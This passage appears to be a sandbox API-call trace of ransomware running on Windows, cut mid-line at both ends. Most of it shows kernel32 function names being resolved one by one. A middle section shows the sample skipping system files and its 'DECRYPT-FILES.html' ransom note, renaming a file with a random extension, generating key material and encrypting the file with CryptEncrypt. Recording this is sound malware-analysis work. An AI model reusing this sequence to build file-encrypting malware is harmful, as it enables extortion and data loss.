(lpString="CREATEFIBER") returned 11 [0147.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0147.281] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0147.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0147.281] lstrlenA (lpString="CREATEFILE2") returned 11 [0147.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0147.281] lstrlenA (lpString="CREATEFILEA") returned 11 [0147.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0147.281] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0147.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0147.281] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0147.281] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0147.281] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0147.282] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0147.282] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0147.282] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0147.282] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0147.282] lstrlenA (lpString="CREATEFILEW") returned 11 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0147.282] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0147.282] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0147.282] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0147.282] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0147.282] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0147.282] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0147.282] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0147.282] lstrlenA (lpString="CREATEJOBSET") returned 12 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0147.282] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0147.282] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0147.282] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0147.282] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0147.282] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0147.282] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0147.282] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0147.282] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0147.282] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0147.283] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0147.283] lstrlenA (lpString="CREATEPIPE") returned 10 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0147.283] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0147.283] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0147.283] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0147.283] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0147.283] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0147.283] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0147.283] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0147.283] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0147.283] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0147.283] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0147.283] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0147.283] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0147.283] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0147.283] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0147.283] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0147.283] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0147.283] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0147.283] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0147.283] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0147.284] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0147.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0147.284] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0147.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0147.284] lstrlenA (lpString="CREATETHREAD") returned 12 [0147.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0147.284] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0147.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0147.284] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0147.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0147.284] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0147.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0147.284] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0147.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0147.284] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0147.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0147.284] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0147.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0147.284] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0147.284] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0147.284] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\Graphics\\Print.ico.9iAqie") returned 47 [0147.284] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.9iAqie" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.9iaqie"), dwFlags=0x0) returned 1 [0147.285] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.285] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.285] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.286] FindNextFileW (in: hFindFile=0x3b81200, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0147.286] lstrcmpiW (lpString1="Rotate1.ico", lpString2="DECRYPT-FILES.html") returned 1 [0147.286] lstrcmpiW (lpString1="Rotate1.ico", lpString2="autorun.inf") returned 1 [0147.286] lstrcmpiW (lpString1="Rotate1.ico", lpString2="boot.ini") returned 1 [0147.286] lstrcmpiW (lpString1="Rotate1.ico", lpString2="desktop.ini") returned 1 [0147.286] lstrcmpiW (lpString1="Rotate1.ico", lpString2="ntuser.dat") returned 1 [0147.286] lstrcmpiW (lpString1="Rotate1.ico", lpString2="iconcache.db") returned 1 [0147.286] lstrcmpiW (lpString1="Rotate1.ico", lpString2="bootsect.bak") returned 1 [0147.286] lstrcmpiW (lpString1="Rotate1.ico", lpString2="ntuser.dat.log") returned 1 [0147.286] lstrcmpiW (lpString1="Rotate1.ico", lpString2="thumbs.db") returned -1 [0147.286] lstrcmpiW (lpString1="Rotate1.ico", lpString2="Bootfont.bin") returned 1 [0147.286] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\") returned 31 [0147.286] lstrlenW (lpString="Rotate1.ico") returned 11 [0147.286] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\Graphics\\" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\") returned="C:\\588bce7c90097ed212\\Graphics\\" [0147.286] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\Graphics\\", lpString2="Rotate1.ico" | out: lpString1="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" [0147.286] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0147.286] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0147.286] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=894) returned 1 [0147.287] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0147.287] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0147.288] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0147.288] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0147.288] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0147.288] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0147.288] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0147.289] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.289] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0147.292] CloseHandle (hObject=0x5f8) returned 1 [0147.292] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.292] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0147.293] CloseHandle (hObject=0x0) returned 0 [0147.293] CloseHandle (hObject=0x5f4) returned 1 [0147.294] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.294] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0147.294] GetTickCount () returned 0x3a181 [0147.294] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0147.295] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0147.295] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0147.295] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0147.295] lstrlenA (lpString="kernel32.dll") returned 12 [0147.295] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0147.295] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0147.295] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0147.295] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0147.295] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0147.295] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0147.295] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0147.295] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0147.295] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0147.295] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0147.296] lstrlenA (lpString="ADDATOMA") returned 8 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0147.296] lstrlenA (lpString="ADDATOMW") returned 8 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0147.296] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0147.296] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0147.296] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0147.296] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0147.296] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0147.296] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0147.296] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0147.296] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0147.296] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0147.296] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0147.296] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0147.296] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0147.296] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0147.296] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0147.296] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0147.296] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0147.297] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0147.297] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0147.297] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0147.297] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0147.297] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0147.297] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0147.297] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0147.297] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0147.297] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0147.297] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0147.297] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0147.297] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0147.297] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0147.297] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0147.297] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0147.297] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0147.297] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0147.297] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0147.297] lstrlenA 